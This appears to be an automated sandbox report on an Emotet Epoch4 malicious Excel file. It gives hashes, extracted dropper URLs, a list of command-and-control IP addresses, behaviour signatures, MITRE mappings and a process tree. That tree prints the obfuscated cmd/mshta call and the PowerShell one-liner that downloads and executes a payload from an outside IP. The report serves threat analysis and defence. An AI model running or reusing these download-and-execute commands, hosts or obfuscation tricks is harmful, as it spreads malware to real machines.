emotet | b5f14957c35e6c611a110abe8900849cb464402b6ad06bf245df1ad35b5e3ba8

General

Target

b5f14957c35e6c611a110abe8900849cb464402b6ad06bf245df1ad35b5e3ba8.xls
Size

127KB
MD5

c7c615f9680557563b23af2e2cd52d58
SHA1

4482b5d54194999f8f63bcb5fbce81e3b744d709
SHA256

b5f14957c35e6c611a110abe8900849cb464402b6ad06bf245df1ad35b5e3ba8
SHA512

8da92cda6cebb7bab88d0854154364b79c0e3f33806e54ae37f522797e306db503de12359703a22207e961aa1938576e55e8c7b7db39c7795cf617f2c4369c20

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/cc.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/PP91.PNG

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2752	3528	cmd.exe	67

Blocklisted process makes network request 6 IoCs

flow	pid	Process
28	3732	mshta.exe
33	4896	powershell.exe
35	4896	powershell.exe
37	4896	powershell.exe
52	4748	rundll32.exe
54	4748	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1748	rundll32.exe
2724	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Ylyxsysoe\ldifjg.gdn	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1952	3732	WerFault.exe	72

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3528	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
4896	powershell.exe
4896	powershell.exe
4896	powershell.exe
4748	rundll32.exe
4748	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1952	WerFault.exe
Token: SeDebugPrivilege	4896	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3528	EXCEL.EXE
3528	EXCEL.EXE
3528	EXCEL.EXE
3528	EXCEL.EXE
3528	EXCEL.EXE
3528	EXCEL.EXE
3528	EXCEL.EXE
3528	EXCEL.EXE
3528	EXCEL.EXE
3528	EXCEL.EXE
3528	EXCEL.EXE
3528	EXCEL.EXE
3528	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3528 wrote to memory of 2752	3528	EXCEL.EXE	70
PID 3528 wrote to memory of 2752	3528	EXCEL.EXE	70
PID 2752 wrote to memory of 3732	2752	cmd.exe	72
PID 2752 wrote to memory of 3732	2752	cmd.exe	72
PID 3732 wrote to memory of 4896	3732	mshta.exe	74
PID 3732 wrote to memory of 4896	3732	mshta.exe	74
PID 4896 wrote to memory of 1716	4896	powershell.exe	78
PID 4896 wrote to memory of 1716	4896	powershell.exe	78
PID 1716 wrote to memory of 1748	1716	cmd.exe	79
PID 1716 wrote to memory of 1748	1716	cmd.exe	79
PID 1716 wrote to memory of 1748	1716	cmd.exe	79
PID 1748 wrote to memory of 2724	1748	rundll32.exe	80
PID 1748 wrote to memory of 2724	1748	rundll32.exe	80
PID 1748 wrote to memory of 2724	1748	rundll32.exe	80
PID 2724 wrote to memory of 4860	2724	rundll32.exe	81
PID 2724 wrote to memory of 4860	2724	rundll32.exe	81
PID 2724 wrote to memory of 4860	2724	rundll32.exe	81
PID 4860 wrote to memory of 4748	4860	rundll32.exe	82
PID 4860 wrote to memory of 4748	4860	rundll32.exe	82
PID 4860 wrote to memory of 4748	4860	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b5f14957c35e6c611a110abe8900849cb464402b6ad06bf245df1ad35b5e3ba8.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3528
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2752
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/cc.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3732
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4896
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1716
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1748
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2724
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ylyxsysoe\ldifjg.gdn",TnLxptuEYSDZ
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4860
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ylyxsysoe\ldifjg.gdn",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:4748
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3732 -s 1800
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1952

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1748-603-0x0000000003500000-0x0000000003526000-memory.dmp

Filesize
152KB

Download
memory/2724-617-0x0000000004940000-0x0000000004966000-memory.dmp

Filesize
152KB

Download
memory/2724-613-0x0000000004780000-0x00000000047A6000-memory.dmp

Filesize
152KB

Download
memory/2724-608-0x0000000001040000-0x0000000001066000-memory.dmp

Filesize
152KB

Download
memory/2724-606-0x0000000000560000-0x0000000000586000-memory.dmp

Filesize
152KB

Download
memory/2724-615-0x00000000047E0000-0x0000000004806000-memory.dmp

Filesize
152KB

Download
memory/3528-131-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Filesize
64KB

Download
memory/3528-660-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Filesize
64KB

Download
memory/3528-118-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Filesize
64KB

Download
memory/3528-661-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Filesize
64KB

Download
memory/3528-662-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Filesize
64KB

Download
memory/3528-663-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Filesize
64KB

Download
memory/3528-132-0x00007FFBBD0D0000-0x00007FFBBD0E0000-memory.dmp

Filesize
64KB

Download
memory/3528-130-0x00007FFBBD0D0000-0x00007FFBBD0E0000-memory.dmp

Filesize
64KB

Download
memory/3528-121-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Filesize
64KB

Download
memory/3528-120-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Filesize
64KB

Download
memory/3528-119-0x00007FFBBFC80000-0x00007FFBBFC90000-memory.dmp

Filesize
64KB

Download
memory/4748-622-0x0000000004DC0000-0x0000000004DE6000-memory.dmp

Filesize
152KB

Download
memory/4748-637-0x0000000005900000-0x0000000005926000-memory.dmp

Filesize
152KB

Download
memory/4748-635-0x0000000005880000-0x00000000058A6000-memory.dmp

Filesize
152KB

Download
memory/4748-620-0x00000000031D0000-0x00000000031F6000-memory.dmp

Filesize
152KB

Download
memory/4748-633-0x0000000005690000-0x00000000056B6000-memory.dmp

Filesize
152KB

Download
memory/4748-627-0x00000000053D0000-0x00000000053F6000-memory.dmp

Filesize
152KB

Download
memory/4748-629-0x00000000054B0000-0x00000000054D6000-memory.dmp

Filesize
152KB

Download
memory/4748-631-0x0000000005590000-0x00000000055B6000-memory.dmp

Filesize
152KB

Download
memory/4860-618-0x0000000000C00000-0x0000000000C26000-memory.dmp

Filesize
152KB

Download
memory/4896-342-0x00000244AA810000-0x00000244AA886000-memory.dmp

Filesize
472KB

Download
memory/4896-422-0x0000024491DE6000-0x0000024491DE8000-memory.dmp

Filesize
8KB

Download
memory/4896-321-0x00000244AA4F0000-0x00000244AA52C000-memory.dmp

Filesize
240KB

Download
memory/4896-282-0x0000024491DE0000-0x0000024491DE2000-memory.dmp

Filesize
8KB

Download
memory/4896-284-0x0000024491DE3000-0x0000024491DE5000-memory.dmp

Filesize
8KB

Download
memory/4896-275-0x00000244AA140000-0x00000244AA162000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads